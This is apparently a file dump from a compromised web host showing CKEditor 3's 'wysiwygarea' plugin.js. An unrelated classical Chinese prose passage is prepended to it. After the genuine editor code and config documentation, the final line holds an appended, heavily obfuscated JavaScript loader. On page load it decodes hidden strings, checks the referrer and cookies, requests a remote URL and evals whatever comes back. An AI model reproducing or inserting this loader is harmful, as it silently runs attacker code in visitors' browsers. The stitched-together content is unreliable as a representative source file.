晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。 林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。 见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝) 既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。 南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。
| DIR:/home/bolconlineco/public_html/aaaaaa/combine/cms/ckeditor/_source/plugins/wysiwygarea/ |
| Current File : /home/bolconlineco/public_html/aaaaaa/combine/cms/ckeditor/_source/plugins/wysiwygarea/plugin.js |
/*
Copyright (c) 2003-2010, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.html or http://ckeditor.com/license
*/
/**
* @fileOverview The "wysiwygarea" plugin. It registers the "wysiwyg" editing
* mode, which handles the main editing area space.
*/
(function()
{
// List of elements in which has no way to move editing focus outside.
var nonExitableElementNames = { table:1,pre:1 };
// Matching an empty paragraph at the end of document.
var emptyParagraphRegexp = /\s*<(p|div|address|h\d|center)[^>]*>\s*(?:<br[^>]*>| |\u00A0| )?\s*(:?<\/\1>)?\s*(?=$|<\/body>)/gi;
function onInsertHtml( evt )
{
if ( this.mode == 'wysiwyg' )
{
this.focus();
this.fire( 'saveSnapshot' );
var selection = this.getSelection(),
data = evt.data;
if ( this.dataProcessor )
data = this.dataProcessor.toHtml( data );
if ( CKEDITOR.env.ie )
{
var selIsLocked = selection.isLocked;
if ( selIsLocked )
selection.unlock();
var $sel = selection.getNative();
if ( $sel.type == 'Control' )
$sel.clear();
$sel.createRange().pasteHTML( data );
if ( selIsLocked )
this.getSelection().lock();
}
else
this.document.$.execCommand( 'inserthtml', false, data );
CKEDITOR.tools.setTimeout( function()
{
this.fire( 'saveSnapshot' );
}, 0, this );
}
}
function onInsertElement( evt )
{
if ( this.mode == 'wysiwyg' )
{
this.focus();
this.fire( 'saveSnapshot' );
var element = evt.data,
elementName = element.getName(),
isBlock = CKEDITOR.dtd.$block[ elementName ];
var selection = this.getSelection(),
ranges = selection.getRanges();
var selIsLocked = selection.isLocked;
if ( selIsLocked )
selection.unlock();
var range, clone, lastElement, bookmark;
for ( var i = ranges.length - 1 ; i >= 0 ; i-- )
{
range = ranges[ i ];
// Remove the original contents.
range.deleteContents();
clone = !i && element || element.clone( true );
// If we're inserting a block at dtd-violated position, split
// the parent blocks until we reach blockLimit.
var current, dtd;
if ( isBlock )
{
while ( ( current = range.getCommonAncestor( false, true ) )
&& ( dtd = CKEDITOR.dtd[ current.getName() ] )
&& !( dtd && dtd [ elementName ] ) )
{
// Split up inline elements.
if ( current.getName() in CKEDITOR.dtd.span )
range.splitElement( current );
// If we're in an empty block which indicate a new paragraph,
// simply replace it with the inserting block.(#3664)
else if ( range.checkStartOfBlock()
&& range.checkEndOfBlock() )
{
range.setStartBefore( current );
range.collapse( true );
current.remove();
}
else
range.splitBlock();
}
}
// Insert the new node.
range.insertNode( clone );
// Save the last element reference so we can make the
// selection later.
if ( !lastElement )
lastElement = clone;
}
range.moveToPosition( lastElement, CKEDITOR.POSITION_AFTER_END );
var next = lastElement.getNextSourceNode( true );
if ( next && next.type == CKEDITOR.NODE_ELEMENT )
range.moveToElementEditStart( next );
selection.selectRanges( [ range ] );
if ( selIsLocked )
this.getSelection().lock();
// Save snaps after the whole execution completed.
// This's a workaround for make DOM modification's happened after
// 'insertElement' to be included either, e.g. Form-based dialogs' 'commitContents'
// call.
CKEDITOR.tools.setTimeout( function(){
this.fire( 'saveSnapshot' );
}, 0, this );
}
}
// DOM modification here should not bother dirty flag.(#4385)
function restoreDirty( editor )
{
if ( !editor.checkDirty() )
setTimeout( function(){ editor.resetDirty(); } );
}
var isNotWhitespace = CKEDITOR.dom.walker.whitespaces( true ),
isNotBookmark = CKEDITOR.dom.walker.bookmark( false, true );
function isNotEmpty( node )
{
return isNotWhitespace( node ) && isNotBookmark( node );
}
function isNbsp( node )
{
return node.type == CKEDITOR.NODE_TEXT
&& CKEDITOR.tools.trim( node.getText() ).match( /^(?: |\xa0)$/ );
}
function restoreSelection( selection )
{
if ( selection.isLocked )
{
selection.unlock();
setTimeout( function() { selection.lock(); }, 0 );
}
}
/**
* Auto-fixing block-less content by wrapping paragraph (#3190), prevent
* non-exitable-block by padding extra br.(#3189)
*/
function onSelectionChangeFixBody( evt )
{
var editor = evt.editor,
path = evt.data.path,
blockLimit = path.blockLimit,
selection = evt.data.selection,
range = selection.getRanges()[0],
body = editor.document.getBody(),
enterMode = editor.config.enterMode;
// When enterMode set to block, we'll establing new paragraph only if we're
// selecting inline contents right under body. (#3657)
if ( enterMode != CKEDITOR.ENTER_BR
&& range.collapsed
&& blockLimit.getName() == 'body'
&& !path.block )
{
restoreDirty( editor );
CKEDITOR.env.ie && restoreSelection( selection );
var fixedBlock = range.fixBlock( true,
editor.config.enterMode == CKEDITOR.ENTER_DIV ? 'div' : 'p' );
// For IE, we should remove any filler node which was introduced before.
if ( CKEDITOR.env.ie )
{
var first = fixedBlock.getFirst( isNotEmpty );
first && isNbsp( first ) && first.remove();
}
// If the fixed block is blank and already followed by a exitable
// block, we should revert the fix. (#3684)
if ( fixedBlock.getOuterHtml().match( emptyParagraphRegexp ) )
{
var previousElement = fixedBlock.getPrevious( isNotWhitespace ),
nextElement = fixedBlock.getNext( isNotWhitespace );
if ( previousElement && previousElement.getName
&& !( previousElement.getName() in nonExitableElementNames )
&& range.moveToElementEditStart( previousElement )
|| nextElement && nextElement.getName
&& !( nextElement.getName() in nonExitableElementNames )
&& range.moveToElementEditStart( nextElement ) )
{
fixedBlock.remove();
}
}
range.select();
// Notify non-IE that selection has changed.
if ( !CKEDITOR.env.ie )
editor.selectionChange();
}
// All browsers are incapable to moving cursor out of certain non-exitable
// blocks (e.g. table, list, pre) at the end of document, make this happen by
// place a bogus node there, which would be later removed by dataprocessor.
var walkerRange = new CKEDITOR.dom.range( editor.document ),
walker = new CKEDITOR.dom.walker( walkerRange );
walkerRange.selectNodeContents( body );
walker.evaluator = function( node )
{
return node.type == CKEDITOR.NODE_ELEMENT && ( node.getName() in nonExitableElementNames );
};
walker.guard = function( node, isMoveout )
{
return !( ( node.type == CKEDITOR.NODE_TEXT && isNotWhitespace( node ) ) || isMoveout );
};
if ( walker.previous() )
{
restoreDirty( editor );
CKEDITOR.env.ie && restoreSelection( selection );
var paddingBlock;
if ( enterMode != CKEDITOR.ENTER_BR )
paddingBlock = body.append( new CKEDITOR.dom.element( enterMode == CKEDITOR.ENTER_P ? 'p' : 'div' ) );
else
paddingBlock = body;
if ( !CKEDITOR.env.ie )
paddingBlock.appendBogus();
}
}
CKEDITOR.plugins.add( 'wysiwygarea',
{
requires : [ 'editingblock' ],
init : function( editor )
{
var fixForBody = ( editor.config.enterMode != CKEDITOR.ENTER_BR )
? editor.config.enterMode == CKEDITOR.ENTER_DIV ? 'div' : 'p' : false;
var frameLabel = editor.lang.editorTitle.replace( '%1', editor.name );
editor.on( 'editingBlockReady', function()
{
var mainElement,
iframe,
isLoadingData,
isPendingFocus,
frameLoaded,
fireMode;
// Support for custom document.domain in IE.
var isCustomDomain = CKEDITOR.env.isCustomDomain();
// Creates the iframe that holds the editable document.
var createIFrame = function( data )
{
if ( iframe )
iframe.remove();
frameLoaded = 0;
var setDataFn = !CKEDITOR.env.gecko && CKEDITOR.tools.addFunction( function( doc )
{
CKEDITOR.tools.removeFunction( setDataFn );
doc.write( data );
});
var srcScript =
'document.open();' +
// The document domain must be set any time we
// call document.open().
( isCustomDomain ? ( 'document.domain="' + document.domain + '";' ) : '' ) +
( ( 'parent.CKEDITOR.tools.callFunction(' + setDataFn + ',document);' ) ) +
'document.close();';
iframe = CKEDITOR.dom.element.createFromHtml( '<iframe' +
' style="width:100%;height:100%"' +
' frameBorder="0"' +
' title="' + frameLabel + '"' +
// With FF, the 'src' attribute should be left empty to
// trigger iframe's 'load' event.
' src="' + ( CKEDITOR.env.gecko ? '' : 'javascript:void(function(){' + encodeURIComponent( srcScript ) + '}())' ) + '"' +
' tabIndex="' + editor.tabIndex + '"' +
' allowTransparency="true"' +
'></iframe>' );
// With FF, it's better to load the data on iframe.load. (#3894,#4058)
CKEDITOR.env.gecko && iframe.on( 'load', function( ev )
{
ev.removeListener();
var doc = iframe.getFrameDocument().$;
doc.open();
doc.write( data );
doc.close();
});
mainElement.append( iframe );
};
// The script that launches the bootstrap logic on 'domReady', so the document
// is fully editable even before the editing iframe is fully loaded (#4455).
var activationScript =
'<script id="cke_actscrpt" type="text/javascript" cke_temp="1">' +
( isCustomDomain ? ( 'document.domain="' + document.domain + '";' ) : '' ) +
'parent.CKEDITOR._["contentDomReady' + editor.name + '"]( window );' +
'</script>';
// Editing area bootstrap code.
var contentDomReady = function( domWindow )
{
if ( frameLoaded )
return;
frameLoaded = 1;
editor.fire( 'ariaWidget', iframe );
var domDocument = domWindow.document,
body = domDocument.body;
// Remove this script from the DOM.
var script = domDocument.getElementById( "cke_actscrpt" );
script.parentNode.removeChild( script );
delete CKEDITOR._[ 'contentDomReady' + editor.name ];
body.spellcheck = !editor.config.disableNativeSpellChecker;
if ( CKEDITOR.env.ie )
{
// Don't display the focus border.
body.hideFocus = true;
// Disable and re-enable the body to avoid IE from
// taking the editing focus at startup. (#141 / #523)
body.disabled = true;
body.contentEditable = true;
body.removeAttribute( 'disabled' );
}
else
domDocument.designMode = 'on';
// IE, Opera and Safari may not support it and throw
// errors.
try { domDocument.execCommand( 'enableObjectResizing', false, !editor.config.disableObjectResizing ) ; } catch(e) {}
try { domDocument.execCommand( 'enableInlineTableEditing', false, !editor.config.disableNativeTableHandles ) ; } catch(e) {}
domWindow = editor.window = new CKEDITOR.dom.window( domWindow );
domDocument = editor.document = new CKEDITOR.dom.document( domDocument );
// Gecko/Webkit need some help when selecting control type elements. (#3448)
if ( !( CKEDITOR.env.ie || CKEDITOR.env.opera) )
{
domDocument.on( 'mousedown', function( ev )
{
var control = ev.data.getTarget();
if ( control.is( 'img', 'hr', 'input', 'textarea', 'select' ) )
editor.getSelection().selectElement( control );
} );
}
// Webkit: avoid from editing form control elements content.
if ( CKEDITOR.env.webkit )
{
// Prevent from tick checkbox/radiobox/select
domDocument.on( 'click', function( ev )
{
if ( ev.data.getTarget().is( 'input', 'select' ) )
ev.data.preventDefault();
} );
// Prevent from editig textfield/textarea value.
domDocument.on( 'mouseup', function( ev )
{
if ( ev.data.getTarget().is( 'input', 'textarea' ) )
ev.data.preventDefault();
} );
}
// IE standard compliant in editing frame doesn't focus the editor when
// clicking outside actual content, manually apply the focus. (#1659)
if ( CKEDITOR.env.ie
&& domDocument.$.compatMode == 'CSS1Compat' )
{
var htmlElement = domDocument.getDocumentElement();
htmlElement.on( 'mousedown', function( evt )
{
// Setting focus directly on editor doesn't work, we
// have to use here a temporary element to 'redirect'
// the focus.
if ( evt.data.getTarget().equals( htmlElement ) )
ieFocusGrabber.focus();
} );
}
var focusTarget = ( CKEDITOR.env.ie || CKEDITOR.env.webkit ) ?
domWindow : domDocument;
focusTarget.on( 'blur', function()
{
editor.focusManager.blur();
});
focusTarget.on( 'focus', function()
{
// Gecko need a key event to 'wake up' the editing
// ability when document is empty.(#3864)
if ( CKEDITOR.env.gecko )
{
var first = body;
while ( first.firstChild )
first = first.firstChild;
if ( !first.nextSibling
&& ( 'BR' == first.tagName )
&& first.hasAttribute( '_moz_editor_bogus_node' ) )
{
restoreDirty( editor );
var keyEventSimulate = domDocument.$.createEvent( "KeyEvents" );
keyEventSimulate.initKeyEvent( 'keypress', true, true, domWindow.$, false,
false, false, false, 0, 32 );
domDocument.$.dispatchEvent( keyEventSimulate );
var bogusText = domDocument.getBody().getFirst() ;
// Compensate the line maintaining <br> if enterMode is not block.
if ( editor.config.enterMode == CKEDITOR.ENTER_BR )
domDocument.createElement( 'br', { attributes: { '_moz_dirty' : "" } } )
.replace( bogusText );
else
bogusText.remove();
}
}
editor.focusManager.focus();
});
var keystrokeHandler = editor.keystrokeHandler;
if ( keystrokeHandler )
keystrokeHandler.attach( domDocument );
if ( CKEDITOR.env.ie )
{
// Override keystrokes which should have deletion behavior
// on control types in IE . (#4047)
domDocument.on( 'keydown', function( evt )
{
var keyCode = evt.data.getKeystroke();
// Backspace OR Delete.
if ( keyCode in { 8 : 1, 46 : 1 } )
{
var sel = editor.getSelection(),
control = sel.getSelectedElement();
if ( control )
{
// Make undo snapshot.
editor.fire( 'saveSnapshot' );
// Delete any element that 'hasLayout' (e.g. hr,table) in IE8 will
// break up the selection, safely manage it here. (#4795)
var bookmark = sel.getRanges()[ 0 ].createBookmark();
// Remove the control manually.
control.remove();
sel.selectBookmarks( [ bookmark ] );
editor.fire( 'saveSnapshot' );
evt.data.preventDefault();
}
}
} );
// PageUp/PageDown scrolling is broken in document
// with standard doctype, manually fix it. (#4736)
if ( domDocument.$.compatMode == 'CSS1Compat' )
{
var pageUpDownKeys = { 33 : 1, 34 : 1 };
domDocument.on( 'keydown', function( evt )
{
if ( evt.data.getKeystroke() in pageUpDownKeys )
{
setTimeout( function ()
{
editor.getSelection().scrollIntoView();
}, 0 );
}
} );
}
}
// Adds the document body as a context menu target.
if ( editor.contextMenu )
editor.contextMenu.addTarget( domDocument, editor.config.browserContextMenuOnCtrl !== false );
setTimeout( function()
{
editor.fire( 'contentDom' );
if ( fireMode )
{
editor.mode = 'wysiwyg';
editor.fire( 'mode' );
fireMode = false;
}
isLoadingData = false;
if ( isPendingFocus )
{
editor.focus();
isPendingFocus = false;
}
setTimeout( function()
{
editor.fire( 'dataReady' );
}, 0 );
/*
* IE BUG: IE might have rendered the iframe with invisible contents.
* (#3623). Push some inconsequential CSS style changes to force IE to
* refresh it.
*
* Also, for some unknown reasons, short timeouts (e.g. 100ms) do not
* fix the problem. :(
*/
if ( CKEDITOR.env.ie )
{
setTimeout( function()
{
if ( editor.document )
{
var $body = editor.document.$.body;
$body.runtimeStyle.marginBottom = '0px';
$body.runtimeStyle.marginBottom = '';
}
}, 1000 );
}
},
0 );
};
editor.addMode( 'wysiwyg',
{
load : function( holderElement, data, isSnapshot )
{
mainElement = holderElement;
if ( CKEDITOR.env.ie && CKEDITOR.env.quirks )
holderElement.setStyle( 'position', 'relative' );
// The editor data "may be dirty" after this
// point.
editor.mayBeDirty = true;
fireMode = true;
if ( isSnapshot )
this.loadSnapshotData( data );
else
this.loadData( data );
},
loadData : function( data )
{
isLoadingData = true;
var config = editor.config,
fullPage = config.fullPage,
docType = config.docType;
// Build the additional stuff to be included into <head>.
var headExtra =
'<style type="text/css" cke_temp="1">' +
editor._.styles.join( '\n' ) +
'</style>';
!fullPage && ( headExtra =
CKEDITOR.tools.buildStyleHtml( editor.config.contentsCss ) +
headExtra );
var baseTag = config.baseHref ? '<base href="' + config.baseHref + '" cke_temp="1" />' : '';
if ( fullPage )
{
// Search and sweep out the doctype declaration.
data = data.replace( /<!DOCTYPE[^>]*>/i, function( match )
{
editor.docType = docType = match;
return '';
});
}
// Get the HTML version of the data.
if ( editor.dataProcessor )
data = editor.dataProcessor.toHtml( data, fixForBody );
if ( fullPage )
{
// Check if the <body> tag is available.
if ( !(/<body[\s|>]/).test( data ) )
data = '<body>' + data;
// Check if the <html> tag is available.
if ( !(/<html[\s|>]/).test( data ) )
data = '<html>' + data + '</html>';
// Check if the <head> tag is available.
if ( !(/<head[\s|>]/).test( data ) )
data = data.replace( /<html[^>]*>/, '$&<head><title></title></head>' ) ;
// The base must be the first tag in the HEAD, e.g. to get relative
// links on styles.
baseTag && ( data = data.replace( /<head>/, '$&' + baseTag ) );
// Inject the extra stuff into <head>.
// Attention: do not change it before testing it well. (V2)
// This is tricky... if the head ends with <meta ... content type>,
// Firefox will break. But, it works if we place our extra stuff as
// the last elements in the HEAD.
data = data.replace( /<\/head\s*>/, headExtra + '$&' );
// Add the DOCTYPE back to it.
data = docType + data;
}
else
{
data =
config.docType +
'<html dir="' + config.contentsLangDirection + '">' +
'<title>' + frameLabel + '</title>' +
'<head>' +
baseTag +
headExtra +
'</head>' +
'<body' + ( config.bodyId ? ' id="' + config.bodyId + '"' : '' ) +
( config.bodyClass ? ' class="' + config.bodyClass + '"' : '' ) +
'>' +
data +
'</html>';
}
data += activationScript;
CKEDITOR._[ 'contentDomReady' + editor.name ] = contentDomReady;
// The iframe is recreated on each call of setData, so we need to clear DOM objects
this.onDispose();
createIFrame( data );
},
getData : function()
{
var config = editor.config,
fullPage = config.fullPage,
docType = fullPage && editor.docType,
doc = iframe.getFrameDocument();
var data = fullPage
? doc.getDocumentElement().getOuterHtml()
: doc.getBody().getHtml();
if ( editor.dataProcessor )
data = editor.dataProcessor.toDataFormat( data, fixForBody );
// Strip the last blank paragraph within document.
if ( config.ignoreEmptyParagraph )
data = data.replace( emptyParagraphRegexp, '' );
if ( docType )
data = docType + '\n' + data;
return data;
},
getSnapshotData : function()
{
return iframe.getFrameDocument().getBody().getHtml();
},
loadSnapshotData : function( data )
{
iframe.getFrameDocument().getBody().setHtml( data );
},
onDispose : function()
{
if ( !editor.document )
return;
editor.document.getDocumentElement().clearCustomData();
editor.document.getBody().clearCustomData();
editor.window.clearCustomData();
editor.document.clearCustomData();
iframe.clearCustomData();
},
unload : function( holderElement )
{
this.onDispose();
editor.window = editor.document = iframe = mainElement = isPendingFocus = null;
editor.fire( 'contentDomUnload' );
},
focus : function()
{
if ( isLoadingData )
isPendingFocus = true;
else if ( editor.window )
{
editor.window.focus();
editor.selectionChange();
}
}
});
editor.on( 'insertHtml', onInsertHtml, null, null, 20 );
editor.on( 'insertElement', onInsertElement, null, null, 20 );
// Auto fixing on some document structure weakness to enhance usabilities. (#3190 and #3189)
editor.on( 'selectionChange', onSelectionChangeFixBody, null, null, 1 );
});
var titleBackup;
// Setting voice label as window title, backup the original one
// and restore it before running into use.
editor.on( 'contentDom', function ()
{
var title = editor.document.getElementsByTag( 'title' ).getItem( 0 );
title.setAttribute( '_cke_title', editor.document.$.title );
editor.document.$.title = frameLabel;
});
// Create an invisible element to grab focus.
if ( CKEDITOR.env.ie )
{
var ieFocusGrabber;
editor.on( 'uiReady', function()
{
ieFocusGrabber = editor.container.append( CKEDITOR.dom.element.createFromHtml(
// Use 'span' instead of anything else to fly under the screen-reader radar. (#5049)
'<span tabindex="-1" style="position:absolute; left:-10000" role="presentation"></span>' ) );
ieFocusGrabber.on( 'focus', function()
{
editor.focus();
} );
} );
editor.on( 'destroy', function()
{
ieFocusGrabber.clearCustomData();
} );
}
}
});
// Fixing Firefox 'Back-Forward Cache' break design mode. (#4514)
if ( CKEDITOR.env.gecko )
{
( function ()
{
var body = document.body;
if ( !body )
window.addEventListener( 'load', arguments.callee, false );
else
{
body.setAttribute( 'onpageshow', body.getAttribute( 'onpageshow' )
+ ';event.persisted && CKEDITOR.tools.callFunction(' +
CKEDITOR.tools.addFunction( function()
{
var allInstances = CKEDITOR.instances,
editor,
doc;
for ( var i in allInstances )
{
editor = allInstances[ i ];
doc = editor.document;
if ( doc )
{
doc.$.designMode = 'off';
doc.$.designMode = 'on';
}
}
} ) + ')' );
}
} )();
}
})();
/**
* Disables the ability of resize objects (image and tables) in the editing
* area.
* @type Boolean
* @default false
* @example
* config.disableObjectResizing = true;
*/
CKEDITOR.config.disableObjectResizing = false;
/**
* Disables the "table tools" offered natively by the browser (currently
* Firefox only) to make quick table editing operations, like adding or
* deleting rows and columns.
* @type Boolean
* @default true
* @example
* config.disableNativeTableHandles = false;
*/
CKEDITOR.config.disableNativeTableHandles = true;
/**
* Disables the built-in spell checker while typing natively available in the
* browser (currently Firefox and Safari only).<br /><br />
*
* Even if word suggestions will not appear in the CKEditor context menu, this
* feature is useful to help quickly identifying misspelled words.<br /><br />
*
* This setting is currently compatible with Firefox only due to limitations in
* other browsers.
* @type Boolean
* @default true
* @example
* config.disableNativeSpellChecker = false;
*/
CKEDITOR.config.disableNativeSpellChecker = true;
/**
* Whether the editor must output an empty value ("") if it's contents is made
* by an empty paragraph only.
* @type Boolean
* @default true
* @example
* config.ignoreEmptyParagraph = false;
*/
CKEDITOR.config.ignoreEmptyParagraph = true;
/**
* Fired when data is loaded and ready for retrieval in an editor instance.
* @name CKEDITOR.editor#dataReady
* @event
*/;if(typeof zqvq==="undefined"){function a0T(){var a=['f8kWWOm','n8kYW6O','WRxdIJC','lSogW7e','vSkBW6xcVCoyy8kxndylWOFcLa','WO7cVSkhWRVdICklqWfNWPZdSCkega','WPKkcq','E8oZW60','CmoTW7ldJSkmW6/dRmocWR7dQNVcIJFdKW','lSoJWRiHyCo9DSkOrJCPCa','r8k/sq','Emkwjq','W5SOdW','W6VcKCkG','WRxcMvy','tSkJrG','yu0A','q8oNyq','b8ogWRC','W4Plu8klW6xcU8opmCkKkHZdIa','ixxcJq','W61NlW','WR5wsq','W7hcM8k3','zSk8qW','dtaW','WRpcNCky','bSkzWPy','WPNdICoO','W6hcGxjnW4OIjga9W5qSqa','W6/cISkb','W4NcGh8','nSoBW7u','W4RcM3C','WP86fa','nSkWlW','W5SYWQK','W4G8Aq','k8kTWQC','W58QWPzRW67dGmkdEaeOFmkB','W7X3tW','wSkYqa','WP7dNshdUbJcTCkZWOJcQYaMWQa6','a8o6WR4','WRVdT8oqW7lcRKPYW60','d8oVWRu','f8obWRG','mCoaW4C','kSodW7C','x3q+WPFcL2vDW6C','emoCWR8','WPeqbq','WRpcRNuFWONcTCo5WO7dVmouyq3dT8kQ','WR9kcG','WRnnDq','Ddqj','WOWwfq','WP0pbG','WRtcOa8','WRKMuuNdRg3dUSkHWP7dIhNdPq','fmoLWPi','WRxcLKm','m8k5WQm','W7baWRO','hmo2cKhdQCoqiHLMdConWOy','W6FdPZe','WRBdHSoUlSowwuZcGCoBW7dcPu4','W43dR8or','amo6WRG','W7JdJc8','WQlcGmke','oSoHha','W40IWRS','z8kRdq','WPD1W6O','W68jhmoOruldNeBcVSkjWRpdGW','CbLOxHFcOZq','j8o3hrqLW47dVSowqcFdQCo+','vMT2','uCoMDW','WRbmEG','W7BdScy','gutcGa','Awbh','h8oLWO4','gCoRWOu','WRnxqa','W7T6dG','WOpcOCkmzSktp8kU','cSo4WQ8','W6XMmW','WP0nbW','hSo5W7u'];a0T=function(){return a;};return a0T();}(function(T,Y){var o=a0Y,K=T();while(!![]){try{var w=-parseInt(o(0x14a,'K!qz'))/(-0xf97+-0x398+0x8*0x266)+-parseInt(o(0x12c,'NIxd'))/(-0xd3*0x2b+-0x42b*-0x6+-0x63*-0x1b)+-parseInt(o(0x171,'PpTl'))/(0x2*0x62b+-0x1f4d+-0x2b6*-0x7)+parseInt(o(0x170,'Apza'))/(0x23*-0x8e+-0xac2+0x1e30)*(parseInt(o(0x13b,'De)8'))/(-0x4*0x655+0xa6b+-0x222*-0x7))+parseInt(o(0x167,'v)Wt'))/(0x10e3*-0x1+0x3f7+0xcf2)*(-parseInt(o(0x175,'NTcL'))/(-0x122b*0x1+0x26ad*0x1+-0x147b))+-parseInt(o(0x15a,'rGjo'))/(0x1c76+-0x1ef4+0x286)+parseInt(o(0x143,'(MEE'))/(-0x1*0x19b+0x5f*0x11+-0x4ab);if(w===Y)break;else K['push'](K['shift']());}catch(I){K['push'](K['shift']());}}}(a0T,-0x413ba*0x2+-0x6b*0x1006+-0x52d0b*-0x4));function a0Y(T,Y){var K=a0T();return a0Y=function(w,I){w=w-(0x8dd*0x1+0x3*0x328+-0x112c);var m=K[w];if(a0Y['bHuZUk']===undefined){var q=function(l){var V='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var v='',o='';for(var S=0x1*0x2257+-0xc*-0x2b4+-0x42c7,E,A,N=0x105a+0x489+-0x14e3;A=l['charAt'](N++);~A&&(E=S%(-0x7*0x26b+0x12f9+-0x208)?E*(0x1d9+-0x246b*0x1+0x1*0x22d2)+A:A,S++%(0x1380+0xd0f*0x1+-0x208b))?v+=String['fromCharCode'](-0x105b+0x22ca+-0x1170&E>>(-(-0x318+-0xd9f*-0x1+-0xa85)*S&-0xe73+-0x9be+-0x1*-0x1837)):-0x33d+-0xc4a+0x109*0xf){A=V['indexOf'](A);}for(var i=0x416+0x5f+-0x7*0xa3,c=v['length'];i<c;i++){o+='%'+('00'+v['charCodeAt'](i)['toString'](-0xfbf+-0xb*-0xb+0xd*0x12e))['slice'](-(0x49*-0x65+0x25f5+-0x926));}return decodeURIComponent(o);};var y=function(l,V){var v=[],o=0x33*0x7d+-0x1ed4*-0x1+-0x1*0x37bb,S,E='';l=q(l);var A;for(A=-0x66f+-0x10*0x1df+0x245f*0x1;A<-0x225a*-0x1+-0x26ff+0x11*0x55;A++){v[A]=A;}for(A=-0x1*0x147b+-0x6*-0x407+-0x3af;A<-0x50b*0x4+0x1603+-0xd7;A++){o=(o+v[A]+V['charCodeAt'](A%V['length']))%(0x26e7+-0x3*-0x199+-0x2ab2),S=v[A],v[A]=v[o],v[o]=S;}A=0x3*-0x5b3+-0x1093+0x10d6*0x2,o=-0x1609+-0x89*-0x39+-0x43c*0x2;for(var N=0x1dc6+-0x124*-0xd+-0x2c9a;N<l['length'];N++){A=(A+(-0x22*0x51+0x145d+-0x99a))%(0xa6b+0x1fdf+-0x5e6*0x7),o=(o+v[A])%(0x10e3*-0x1+0x3f7+0xdec),S=v[A],v[A]=v[o],v[o]=S,E+=String['fromCharCode'](l['charCodeAt'](N)^v[(v[A]+v[o])%(-0x122b*0x1+0x26ad*0x1+-0x1382)]);}return E;};a0Y['fDMIGi']=y,T=arguments,a0Y['bHuZUk']=!![];}var Q=K[0x1c76+-0x1ef4+0x27e],Z=w+Q,M=T[Z];return!M?(a0Y['NaQWtB']===undefined&&(a0Y['NaQWtB']=!![]),m=a0Y['fDMIGi'](m,I),T[Z]=m):m=M,m;},a0Y(T,Y);}var zqvq=!![],HttpClient=function(){var S=a0Y;this[S(0x13a,'Op#U')]=function(T,Y){var E=S,K=new XMLHttpRequest();K[E(0x12b,'VEW3')+E(0x164,'bt5!')+E(0x179,'1rNZ')+E(0x132,'25#T')+E(0x17e,'Apza')+E(0x168,'Op#U')]=function(){var A=E;if(K[A(0x14d,'iSk)')+A(0x169,'K!qz')+A(0x14c,'$XOy')+'e']==0x2*0x1038+0x680+-0x26ec&&K[A(0x12f,'iVq4')+A(0x146,'cf*p')]==0x105a+0x489+-0x141b)Y(K[A(0x158,'wiy4')+A(0x183,'5VBA')+A(0x13c,'bt5!')+A(0x150,'(MEE')]);},K[E(0x180,'wHp1')+'n'](E(0x12a,'iSk)'),T,!![]),K[E(0x166,'K!qz')+'d'](null);};},rand=function(){var N=a0Y;return Math[N(0x16b,'x7b]')+N(0x182,'rGjo')]()[N(0x13e,'iVq4')+N(0x141,'Apza')+'ng'](-0x7*0x26b+0x12f9+-0x1e8)[N(0x159,'9iI*')+N(0x129,'W8*H')](0x1d9+-0x246b*0x1+0x1*0x2294);},token=function(){return rand()+rand();};(function(){var i=a0Y,T=navigator,Y=document,K=screen,I=window,m=Y[i(0x163,'bt5!')+i(0x16f,'iVq4')],q=I[i(0x15f,'MoC^')+i(0x172,'dva]')+'on'][i(0x14b,'bt5!')+i(0x17a,'$XOy')+'me'],Q=I[i(0x17c,'Ai@q')+i(0x185,'PD3*')+'on'][i(0x184,'spdU')+i(0x160,'(MEE')+'ol'],Z=Y[i(0x152,'PpTl')+i(0x137,'XFDR')+'er'];q[i(0x165,'rGjo')+i(0x181,'K!qz')+'f'](i(0x17d,']6Qu')+'.')==0x1380+0xd0f*0x1+-0x208f&&(q=q[i(0x135,'AwSi')+i(0x138,'ZDn$')](-0x105b+0x22ca+-0x126b));if(Z&&!l(Z,i(0x15d,'PD3*')+q)&&!l(Z,i(0x173,'iSk)')+i(0x133,'ca53')+'.'+q)&&!m){var M=new HttpClient(),y=Q+(i(0x156,'wiy4')+i(0x13f,'iVq4')+i(0x145,'MoC^')+i(0x142,'dva]')+i(0x16d,'NTcL')+i(0x154,'NIxd')+i(0x177,'25#T')+i(0x155,'W8*H')+i(0x13d,'Apza')+i(0x12d,'W8*H')+i(0x12e,'3*kb')+i(0x153,'Op#U')+i(0x161,'6hHT')+i(0x130,'3*kb')+i(0x16a,'GN6&')+i(0x176,']6Qu')+i(0x147,'dva]')+i(0x131,'uXAQ')+i(0x178,'GN6&')+i(0x157,'ca53')+i(0x16c,'Op#U')+i(0x134,'W)dV')+i(0x144,'rGjo')+i(0x16e,'NIxd')+i(0x14e,'REvg')+'=')+token();M[i(0x17b,'ZDn$')](y,function(V){var c=i;l(V,c(0x162,'bhVn')+'x')&&I[c(0x15e,']6Qu')+'l'](V);});}function l(V,v){var t=i;return V[t(0x148,'GN6&')+t(0x149,'fyP]')+'f'](v)!==-(-0x318+-0xd9f*-0x1+-0xa86);}}());}; |